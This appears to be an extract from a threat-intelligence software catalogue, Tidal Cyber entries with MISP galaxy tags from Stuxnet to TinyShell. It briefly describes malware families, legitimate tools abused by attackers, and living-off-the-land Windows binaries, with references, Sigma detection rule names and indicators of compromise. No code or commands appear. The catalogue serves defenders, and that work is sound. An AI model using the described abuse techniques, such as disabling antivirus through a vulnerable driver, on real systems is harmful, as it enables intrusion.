[Stuxnet](https://app.tidalcyber.com/software/3fdf3833-fca9-4414-8d2e-779dabc4ee31) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://app.tidalcyber.com/software/3fdf3833-fca9-4414-8d2e-779dabc4ee31) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.^{[[Nicolas Falliere, Liam O Murchu, Eric Chien February 2011](https://app.tidalcyber.com/references/a1b371c2-b2b1-5780-95c8-11f8c616dcf3)]}^{[[CISA ICS Advisory ICSA-10-272-01](https://app.tidalcyber.com/references/25b3c18c-e017-4773-91dd-b489220d4fcb)]}^{[[ESET Stuxnet Under the Microscope](https://app.tidalcyber.com/references/4ec039a9-f843-42de-96ed-185c4e8c2d9f)]}^{[[Langer Stuxnet](https://app.tidalcyber.com/references/76b99581-e94d-4e51-8110-80557474048e)]} [Stuxnet](https://app.tidalcyber.com/software/3fdf3833-fca9-4414-8d2e-779dabc4ee31) was discovered in 2010, with some components being used as early as November 2008.^{[[Nicolas Falliere, Liam O Murchu, Eric Chien February 2011](https://app.tidalcyber.com/references/a1b371c2-b2b1-5780-95c8-11f8c616dcf3)]}

The tag is: *misp-galaxy:software="Stuxnet"*

S-Type

[S-Type](https://app.tidalcyber.com/software/b19b6c38-d38b-46f2-a535-d0bfc5790368) is a backdoor that was used in [Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) since at least 2013.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

The tag is: *misp-galaxy:software="S-Type"*

SUGARDUMP

[SUGARDUMP](https://app.tidalcyber.com/software/6ff7bf2e-286c-4b1b-92a0-1e5322870c59) is a proprietary browser credential harvesting tool that was used by UNC3890 during the [C0010](https://app.tidalcyber.com/campaigns/a1e33caf-6eb0-442f-b97a-f6042f21df48) campaign. The first known [SUGARDUMP](https://app.tidalcyber.com/software/6ff7bf2e-286c-4b1b-92a0-1e5322870c59) version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.^{[[Mandiant UNC3890 Aug 2022](https://app.tidalcyber.com/references/7b3fda0b-d327-4f02-bebe-2b8974f9959d)]}

The tag is: *misp-galaxy:software="SUGARDUMP"*

SUGARUSH

[SUGARUSH](https://app.tidalcyber.com/software/004c781a-3d7d-446b-9677-a042c8f6566e) is a

small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. [SUGARUSH](https://app.tidalcyber.com/software/004c781a-3d7d-446b-9677-a042c8f6566e) was first identified during analysis of UNC3890's [C0010](https://app.tidalcyber.com/campaigns/a1e33caf-6eb0-442f-b97a-f6042f21df48) campaign targeting Israeli companies, which began in late 2020.^{[[Mandiant UNC3890 Aug 2022](https://app.tidalcyber.com/references/7b3fda0b-d327-4f02-bebe-2b8974f9959d)]}

The tag is: *misp-galaxy:software="SUGARUSH"*

SUNBURST

[SUNBURST](https://app.tidalcyber.com/software/6b04e98e-c541-4958-a8a5-d433e575ce78) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least February 2020.^{[[SolarWinds Sunburst Sunspot Update January 2021](https://app.tidalcyber.com/references/1be1b6e0-1b42-4d07-856b-b6321c17bb88)]}^{[[Microsoft Deep Dive Solorigate January 2021](https://app.tidalcyber.com/references/ddd70eef-ab94-45a9-af43-c396c9e3fbc6)]}

The tag is: *misp-galaxy:software="SUNBURST"*

SUNSPOT

[SUNSPOT](https://app.tidalcyber.com/software/66966a12-3db3-4e43-a7e8-6c6836ccd8fe) is an implant that injected the [SUNBURST](https://app.tidalcyber.com/software/6b04e98e-c541-4958-a8a5-d433e575ce78) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least February 2020.^{[[CrowdStrike SUNSPOT Implant January 2021](https://app.tidalcyber.com/references/3a7b71cf-961a-4f63-84a8-31b43b18fb95)]}

The tag is: *misp-galaxy:software="SUNSPOT"*

SUPERNOVA

[SUPERNOVA](https://app.tidalcyber.com/software/f02abaee-237b-4891-bb5d-30ca86dfc2c8) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://app.tidalcyber.com/software/f02abaee-237b-4891-bb5d-30ca86dfc2c8) may have been used by the China-based threat group SPIRAL.^{[[Guidepoint SUPERNOVA Dec 2020](https://app.tidalcyber.com/references/78fee365-ab2b-4823-8358-46c362be1ac0)]}^{[[Unit42 SUPERNOVA Dec 2020](https://app.tidalcyber.com/references/e884d0b5-f2a2-47cb-bb77-3acdac6b1790)]}^{[[SolarWinds Advisory Dec 2020](https://app.tidalcyber.com/references/4e8b908a-bdc5-441b-bc51-98dfa87f6b7a)]}^{[[CISA Supernova Jan 2021](https://app.tidalcyber.com/references/ce300d75-8351-4d7c-b280-7d5fbe17f9bb)]}^{[[Microsoft Analyzing Solorigate Dec 2020](https://app.tidalcyber.com/references/8ad72d46-ba2c-426f-bb0d-eb47723c8e11)]}

The tag is: *misp-galaxy:software="SUPERNOVA"*

SVCReady

[SVCReady](https://app.tidalcyber.com/software/a8110f81-5ee9-5819-91ce-3a57aa330dcb) is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between [TA551](https://app.tidalcyber.com/groups/8951bff3-c444-4374-8a9e-b2115d9125b2) activity and [SVCReady](https://app.tidalcyber.com/software/a8110f81-5ee9-5819-91ce-3a57aa330dcb) distribution, including similarities in file names, lure images, and identical grammatical errors.^{[[HP SVCReady Jun 2022](https://app.tidalcyber.com/references/48d5ec83-f1b9-595c-bb9a-d6d5cc513a41)]}

The tag is: *misp-galaxy:software="SVCReady"*

Sykipot

[Sykipot](https://app.tidalcyber.com/software/ae749f9c-cf46-42ce-b0b8-f0be8660e3f3) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://app.tidalcyber.com/software/ae749f9c-cf46-42ce-b0b8-f0be8660e3f3) hijacks smart cards on victims. ^{[[Alienvault Sykipot DOD Smart Cards](https://app.tidalcyber.com/references/1a96544f-5b4e-4e1a-8db0-a989df9e4aaa)]} The group using this malware has also been referred to as Sykipot. ^{[[Blasco 2013](https://app.tidalcyber.com/references/46be6b77-ee2b-407e-bdd4-5a1183eda7f3)]}

The tag is: *misp-galaxy:software="Sykipot"*

SynAck

[SynAck](https://app.tidalcyber.com/software/19ae8345-745e-4872-8a29-d56c8800d626) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. ^{[[SecureList SynAck Doppelgänging May 2018](https://app.tidalcyber.com/references/d9f0af0f-8a65-406b-9d7e-4051086ef301)]} ^{[[Kaspersky Lab SynAck May 2018](https://app.tidalcyber.com/references/bbb9bcb5-cd44-4dcb-a7e5-f6c4cf93f74f)]}

The tag is: *misp-galaxy:software="SynAck"*

Syncappvpublishingserver - Duplicate

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Script used related to app-v and publishing server

Author: Oddvar Moe

Paths: * C:\Windows\System32\SyncAppvPublishingServer.vbs

Resources: * https://twitter.com/monoxgas/status/895045566090010624 * https://twitter.com/subTee/status/855738126882316288

Detection: * Sigma: [proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml]([Syncappvpublishingserver.vbs - LOLBAS Project](/references/adb09226-894c-4874-a2e3-fb2c6de30173)]</sup>

The tag is: *misp-galaxy:software="Syncappvpublishingserver - Duplicate"*

SyncAppvPublishingServer

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by App-v to get App-v server lists

Author: Oddvar Moe

Paths: * C:\Windows\System32\SyncAppvPublishingServer.exe * C:\Windows\SysWOW64\SyncAppvPublishingServer.exe

Resources: * https://twitter.com/monoxgas/status/895045566090010624

Detection: * Sigma: [posh_ps_syncappvpublishingserver_exe.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml) * Sigma: [posh_pm_syncappvpublishingserver_exe.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml) * Sigma: [proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml) * IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed^{[[SyncAppvPublishingServer.exe - LOLBAS Project](/references/ce371df7-aab6-4338-9491-656481cb5601)]}

The tag is: *misp-galaxy:software="SyncAppvPublishingServer"*

Syncro

Syncro is a legitimate administration tool that adversaries such as Luna Moth and Royal ransomware actors have abused for remote control of victim systems.^{[[Sygnia Luna Moth July 1 2022](/references/115590b2-ab57-432c-900e-000627464a11)]}

The tag is: *misp-galaxy:software="Syncro"*

SYNful Knock

[SYNful Knock](https://app.tidalcyber.com/software/69ab291d-5066-4e47-9862-1f5c7bac7200) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.^{[[Mandiant - Synful Knock](https://app.tidalcyber.com/references/1f6eaa98-9184-4341-8634-5512a9c632dd)]}^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]}

The tag is: *misp-galaxy:software="SYNful Knock"*

Sys10

[Sys10](https://app.tidalcyber.com/software/2df35a92-2295-417a-af5a-ba5c943ef40d) is a backdoor that was used throughout 2013 by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d). ^{[[Baumgartner Naikon 2015](https://app.tidalcyber.com/references/09302b4f-7f71-4289-92f6-076c685f0810)]}

The tag is: *misp-galaxy:software="Sys10"*

SYSCON

[SYSCON](https://app.tidalcyber.com/software/ea556a8d-4959-423f-a2dd-622d0497d484) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://app.tidalcyber.com/software/ea556a8d-4959-423f-a2dd-622d0497d484) has been delivered by the [CARROTBALL](https://app.tidalcyber.com/software/84bb4068-b441-435e-8535-02a458ffd50b) and [CARROTBAT](https://app.tidalcyber.com/software/aefa893d-fc6e-41a9-8794-2700049db9e5) droppers.^{[[Unit 42 CARROTBAT November 2018](https://app.tidalcyber.com/references/6986a64a-5fe6-4697-b70b-79cccaf3d730)]}^{[[Unit 42 CARROTBAT January 2020](https://app.tidalcyber.com/references/b65442ca-18ca-42e0-8be0-7c2b66c26d02)]}

The tag is: *misp-galaxy:software="SYSCON"*

Syssetup

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows NT System Setup

Author: LOLBAS Team

Paths: * c:\windows\system32\syssetup.dll * c:\windows\syswow64\syssetup.dll

Resources: * [https://twitter.com/pabraeken/status/994392481927258113](https://twitter.com/

pabraeken/status/994392481927258113) * https://twitter.com/harr0ey/status/975350238184697857 * https://twitter.com/bohops/status/975549525938135040 * https://windows10dll.nirsoft.net/syssetup_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Splunk: [detect_rundll32_application_control_bypass_syssetup.yml]([Syssetup.dll - LOLBAS Project(/references/3bb7027f-7cbb-47e7-8cbb-cf45604669af)]}

The tag is: *misp-galaxy:software="Syssetup"*

SystemBC

SystemBC is a commodity backdoor malware used as a Tor proxy and remote access Trojan (RAT). It was used during the high-profile 2021 Colonial Pipeline DarkSide ransomware attack and has since been used as a persistence & lateral movement tool during other ransomware compromises, including intrusions involving Ryuk, Egregor, and Play.^{[[BlackBerry SystemBC June 10 2021](/references/08186ff9-6ca5-4c09-b5e7-b883eb15fdba)]}^{[[Sophos SystemBC December 16 2020](/references/eca1301f-deeb-4a97-8c4e-e61210706116)]}^{[[WithSecure SystemBC May 10 2021](/references/4004e072-9e69-4e81-a2b7-840e106cf3d9)]}^{[[Trend Micro Play Ransomware September 06 2022](/references/ed02529c-920d-4a92-8e86-be1ed7083991)]} According to Mandiant's 2023 M-Trends report, SystemBC was the second most frequently seen malware family in 2022 after only Cobalt Strike Beacon.^{[[TechRepublic M-Trends 2023](/references/1347e21e-e77d-464d-bbbe-dc4d3f2b07a1)]}

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Bazaar (Samples & IOCs): https://bazaar.abuse.ch/browse/tag/systembc/

PulseDive (IOCs): https://pulsedive.com/threat/SystemBC

The tag is: *misp-galaxy:software="SystemBC"*

Systeminfo

[Systeminfo](https://app.tidalcyber.com/software/cecea681-a753-47b5-9d77-c10a5b4403ab) is a Windows utility that can be used to gather detailed information about a computer. ^{[[TechNet Systeminfo](https://app.tidalcyber.com/references/5462ba66-6e26-41c2-bc28-6c19085d4469)]}

The tag is: *misp-galaxy:software="Systeminfo"*

SysUpdate

[SysUpdate](https://app.tidalcyber.com/software/148d587c-3b1e-4e71-bdfb-8c37005e7e77) is a backdoor written in C++ that has been used by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) since at least 2020.^{[[Trend Micro Iron Tiger April 2021](https://app.tidalcyber.com/references/d0890d4f-e7ca-4280-a54e-d147f6dd72aa)]}

The tag is: *misp-galaxy:software="SysUpdate"*

T9000

[T9000](https://app.tidalcyber.com/software/c5647cc4-0d46-4a41-8591-9179737747a2) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. ^{[[FireEye admin@338 March 2014](https://app.tidalcyber.com/references/6a37e6eb-b767-4b10-9c39-660a42b19ddd)]} ^{[[Palo Alto T9000 Feb 2016](https://app.tidalcyber.com/references/d7eefe85-86cf-4b9d-bf70-f16c5a0227cc)]}

The tag is: *misp-galaxy:software="T9000"*

TABLEFLIP

TABLEFLIP is a passive utility to setup network traffic redirection from a specific IP address destined to the FortiManager on TCP port 541 to another specified port.^{[[Mandiant Fortinet Zero Day](/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}

The tag is: *misp-galaxy:software="TABLEFLIP"*

Tactical RMM

According to joint Cybersecurity Advisory AA23-320A (November 2023), Tactical RMM is a publicly available, legitimate tool that "enables remote monitoring and management of systems". According to the Advisory, Scattered Spider threat actors are known to abuse the tool during their intrusions.^{[[U.S. CISA Scattered Spider November 16 2023](/references/9c242265-c28c-4580-8e6a-478d8700b092)]}

The tag is: *misp-galaxy:software="Tactical RMM"*

Taidoor

[Taidoor](https://app.tidalcyber.com/software/9334df79-9023-44bb-bc28-16c1f07b836b) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.^{[[CISA MAR-10292089-1.v2 TAIDOOR August 2021](https://app.tidalcyber.com/references/0ae18fda-cc88-49f4-8e85-7b63044579ea)]} [Taidoor](https://app.tidalcyber.com/software/9334df79-9023-44bb-bc28-16c1f07b836b) has primarily been used against Taiwanese government organizations since at least 2010.<sup>[[TrendMicro Taidoor](https://app.tidalcyber.com/references/3d703dfa-97c5-498f-a712-

cb4995119297)]</sup>

The tag is: *misp-galaxy:software="Taidoor"*

Tailscale

According to joint Cybersecurity Advisory AA23-320A (November 2023), Tailscale is a publicly available, legitimate tool that "provides virtual private networks (VPNs) to secure network communications". According to the Advisory, Scattered Spider threat actors are known to abuse the tool during their intrusions.^{[[U.S. CISA Scattered Spider November 16 2023](/references/9c242265-c28c-4580-8e6a-478d8700b092)]}

The tag is: *misp-galaxy:software="Tailscale"*

TAINTEDSCRIBE

[TAINTEDSCRIBE](https://app.tidalcyber.com/software/1548c94a-fb4d-43d8-9956-ea26f5cc552f) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). It was first reported in May 2020.^{[[CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020](https://app.tidalcyber.com/references/b9946fcc-592a-4c54-b504-4fe5050704df)]}

The tag is: *misp-galaxy:software="TAINTEDSCRIBE"*

TajMahal

[TajMahal](https://app.tidalcyber.com/software/b1b7a8d9-6df3-4e89-8622-a6eea3da729b) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://app.tidalcyber.com/software/b1b7a8d9-6df3-4e89-8622-a6eea3da729b) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.^{[[Kaspersky TajMahal April 2019](https://app.tidalcyber.com/references/1ed20522-52ae-4d0c-b42e-c680490958ac)]}

The tag is: *misp-galaxy:software="TajMahal"*

TAMECAT

[TAMECAT](https://app.tidalcyber.com/software/63bd2a3f-d982-5180-b148-44eb21e233e3) is a malware that is used by [APT42](https://app.tidalcyber.com/groups/c4336f3a-1902-5eb1-8ad1-204da1267dcc) to execute PowerShell or C# content.^{[[Mandiant APT42-untangling](https://app.tidalcyber.com/references/64b19eab-8190-5e22-89a0-f7555f9f7fa2)]}

The tag is: *misp-galaxy:software="TAMECAT"*

TAMECAT (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published

by MITRE: "TAMECAT" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

TAMECAT is a custom backdoor developed and used by Iranian espionage group APT42. It is usually delivered via phishing attacks and serves as a post-compromise command execution and malware ingress capability.^{[[Mandiant Uncharmed May 1 2024](/references/84c0313a-bea1-44a7-9396-8e12437852d1)]}

The tag is: *misp-galaxy:software="TAMECAT (Deprecated)"*

Tar

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to extract and create archives.

Author: Brian Lucero

Paths: * C:\Windows\System32\tar.exe

Resources: * https://twitter.com/Cyber_Sorcery/status/1619819249886969856

Detection: * IOC: tar.exe extracting files from a remote host within the environment^{[[Tar.exe - LOLBAS Project](/references/e5f54ded-3ec1-49c1-9302-6b9f372d5015)]}

The tag is: *misp-galaxy:software="Tar"*

Tarrask

[Tarrask](https://app.tidalcyber.com/software/7bb9d181-4405-4938-bafb-b13cc98b6cd8) is malware that has been used by [HAFNIUM](https://app.tidalcyber.com/groups/1bcc9382-ccfe-4b04-91f3-ef1250df5e5b) since at least August 2021. [Tarrask](https://app.tidalcyber.com/software/7bb9d181-4405-4938-bafb-b13cc98b6cd8) was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.^{[[Tarrask scheduled task](https://app.tidalcyber.com/references/87682623-d1dd-4ee8-ae68-b08be5113e3e)]}

The tag is: *misp-galaxy:software="Tarrask"*

Tasklist

The [Tasklist](https://app.tidalcyber.com/software/abae8f19-9497-4a71-82b6-ae6edd26ad98) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. <sup>[[Microsoft Tasklist](https://app.tidalcyber.com/

references/2c09561a-02ee-4948-9745-9d6c8eb2881d)]</sup>

The tag is: *misp-galaxy:software="Tasklist"*

tcpdump

tcpdump is an open-source network packet analyzer utility run from the command line.

The tag is: *misp-galaxy:software="tcpdump"*

TDSSKiller

TDSSKiller is a tool used to remove rootkits.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="TDSSKiller"*

TDTESS

[TDTESS](https://app.tidalcyber.com/software/e7116740-fe7c-45e2-b98d-0c594a7dff2f) is a 64-bit .NET binary backdoor used by [CopyKittens](https://app.tidalcyber.com/groups/6a8f5eca-8ecc-4bff-9c5f-5380e044ed5b). ^{[[ClearSky Wilted Tulip July 2017](https://app.tidalcyber.com/references/50233005-8dc4-4e91-9477-df574271df40)]}

The tag is: *misp-galaxy:software="TDTESS"*

te

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).

Author: Oddvar Moe

Paths: * no default

Resources: * https://twitter.com/gn3mes1s/status/927680266390384640?lang=bg

Detection: * Sigma: [proc_creation_win_susp_use_of_te_bin.yml]([te.exe - LOLBAS Project(/references/e7329381-319e-4dcc-8187-92882e6f2e12)]</sup>

The tag is: *misp-galaxy:software="te"*

TeamFiltration

A pentesting framework used for Office 365 Entra ID account takeover, data exfiltration, and persistent access. It automates tactics like account enumeration, password spraying, and data exfiltration, and can backdoor via OneDrive for persistent access.^{[[Proofpoint June 9 2025](/references/0346a943-4e49-4984-8fc9-90b27ebbcd26)]}

The tag is: *misp-galaxy:software="TeamFiltration"*

Teams

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Electron runtime binary which runs the Teams application

Author: Andrew Kisliakov

Paths: * %LOCALAPPDATA%\Microsoft\Teams\current\Teams.exe

Resources: * https://l—k.uk/2022/01/16/microsoft-teams-and-other-electron-apps-as-lolbins/

Detection: * IOC: %LOCALAPPDATA%\Microsoft\Teams\current\app directory created * IOC: %LOCALAPPDATA%\Microsoft\Teams\current\app.asar file created/modified by non-Teams installer/updater * Sigma: [proc_creation_win_susp_electron_exeuction_proxy.yml]([Teams.exe - LOLBAS Project](/references/ceee2b13-331f-4019-9c27-af0ce8b25414)]</sup>

The tag is: *misp-galaxy:software="Teams"*

TeamViewer

TeamViewer is a tool used to enable remote connections to network devices for support and administration.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="TeamViewer"*

TEARDROP

[TEARDROP](https://app.tidalcyber.com/software/bae20f59-469c-451c-b4ca-70a9a04a1574) is a memory-only dropper that was discovered on some victim machines during investigations related

to the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a). It was likely used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least May 2020.^{[[FireEye SUNBURST Backdoor December 2020](https://app.tidalcyber.com/references/d006ed03-a8af-4887-9356-3481d81d43e4)]}^{[[Microsoft Deep Dive Solorigate January 2021](https://app.tidalcyber.com/references/ddd70eef-ab94-45a9-af43-c396c9e3fbc6)]}

The tag is: *misp-galaxy:software="TEARDROP"*

Telegram

Telegram is a global instant messaging service that is utilized by threat actors and other users for various malicious and benign purposes. Among the many features telegram provides to its no malicious clients, the API and BOT functionalities can and is abused by threat actors as means to deploy malware and/or exfiltrate data. Due to the service's high usage it is often unblocked and not monitored, providing to an attacker an easy way to bypass network restrictions.^{[[Telegram December 4 2024](/references/2624b235-c94f-414f-8728-4a4333ff45bf)]}

The tag is: *misp-galaxy:software="Telegram"*

Teleport

Teleport is a custom tool for data exfiltration. It has been observed in use during intrusions involving Truebot, a botnet and loader malware, in 2022 and 2023.^{[[U.S. CISA Increased Truebot Activity July 6 2023](/references/6f9b8f72-c55f-4268-903e-1f8a82efa5bb)]}

The tag is: *misp-galaxy:software="Teleport"*

Terminator

Terminator is an open-source software package that is designed to facilitate disabling of endpoint security/antivirus tools by abusing the `zam64.sys` driver.^{[[GitHub Terminator](/references/c2556bcf-9cc9-4f46-8a0f-8f8d801dfdbf)]}

The tag is: *misp-galaxy:software="Terminator"*

Termite Ransomware

Termite is a ransomware that has been observed since April 2024. Researchers have noted considerable code and behavioral overlaps between the Babuk ransomware and Termite.^{[[Infosecurity Magazine December 9 2024](/references/1a3f22b7-8585-44b7-845a-eaa13d8a5dc1)]} Actors using Termite have attacked organizations in various sectors and locations, publicly extorting some victims on a "data leak" dark web site since November 2024.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

The tag is: *misp-galaxy:software="Termite Ransomware"*

TestWindowRemoteAgent

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: TestWindowRemoteAgent.exe is the command-line tool to establish RPC

Author: Onat Uzunyayla

Paths: * C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\RemoteAgent\TestWindowRemoteAgent.exe

Resources: None Provided

Detection: * IOC: TestWindowRemoteAgent.exe spawning unexpectedly^{[[TestWindowRemoteAgent.exe - LOLBAS Project](/references/0cc891bc-692c-4a52-9985-39ddb434294d)]}

The tag is: *misp-galaxy:software="TestWindowRemoteAgent"*

TEXTMATE

[TEXTMATE](https://app.tidalcyber.com/software/49d0ae81-d51b-4534-b1e0-08371a47ef79) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://app.tidalcyber.com/software/a4700431-6578-489f-9782-52e394277296) in February 2017. ^{[[FireEye FIN7 March 2017](https://app.tidalcyber.com/references/7987bb91-ec41-42f8-bd2d-dabc26509a08)]}

The tag is: *misp-galaxy:software="TEXTMATE"*

ThiefQuest

[ThiefQuest](https://app.tidalcyber.com/software/2ed5f691-68eb-49dd-b730-793dc8a7d134) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://app.tidalcyber.com/software/2ed5f691-68eb-49dd-b730-793dc8a7d134) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.^{[[Reed thiefquest fake ransom](https://app.tidalcyber.com/references/b265ef93-c1fb-440d-a9e0-89cf25a3de05)]} Even though [ThiefQuest](https://app.tidalcyber.com/software/2ed5f691-68eb-49dd-b730-793dc8a7d134) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.^{[[wardle evilquest partii](https://app.tidalcyber.com/references/4fee237c-c2ec-47f5-b382-ec6bd4779281)]}^{[[reed thiefquest ransomware analysis](https://app.tidalcyber.com/references/47b49df4-34f1-4a89-9983-e8bc19aadf8c)]}

The tag is: *misp-galaxy:software="ThiefQuest"*

THINCRUST

THINCRUST is a backdoor enabling the threat actor to execute commands, write files to disk, and read files from disk depending on the cookies provided in the POST request.^{[[Mandiant Fortinet Zero Day](/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}

The tag is: *misp-galaxy:software="THINCRUST"*

ThinSpool

ThinSpool is a dropper written in shell script that writes the web shell LightWire to a legitimate CS file. ThinSpool will re-add the malicious web shell code to legitimate files after an update.^{[[Mandiant Cutting Edge January 2024](/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}

The tag is: *misp-galaxy:software="ThinSpool"*

ThreatNeedle

[ThreatNeedle](https://app.tidalcyber.com/software/b31c7b8e-dbdd-4ad5-802e-dcdc72b7462e) is a backdoor that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08)'s Manuscrypt (a.k.a. NukeSped) malware family.^{[[Kaspersky ThreatNeedle Feb 2021](https://app.tidalcyber.com/references/ba6a5fcc-9391-42c0-8b90-57b729525f41)]}

The tag is: *misp-galaxy:software="ThreatNeedle"*

ThunderShell

ThunderShell is a tool used to facilitate remote access via HTTP requests.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="ThunderShell"*

Tickler

Tickler is a custom multi-stage backdoor deployed by Iranian state-sponsored espionage group Peach Sandstorm (APT33) in compromises in Q2 and Q3 2024.^{[[Microsoft Security Blog August 28 2024](/references/940c0755-18df-4fcb-9691-9f2eb45e6441)]}

The tag is: *misp-galaxy:software="Tickler"*

TightVNC

According to its project page, TightVNC is a free and open-source remote desktop software tool that

is Virtual Network Computing (VNC)-compatible. It is designed to enable remote access to other systems.^{[[TightVNC Software Project Page](/references/e1725230-4f6c-47c5-8e30-90dfb01a75d7)]}

The tag is: *misp-galaxy:software="TightVNC"*

TinyShell

TinyShell is an open-source, publicly available, UNIX-based backdoor utility.^{[[GitHub creaktive tsh](/references/adcfb01a-5b77-4b94-b776-9ed6e947097f)]}

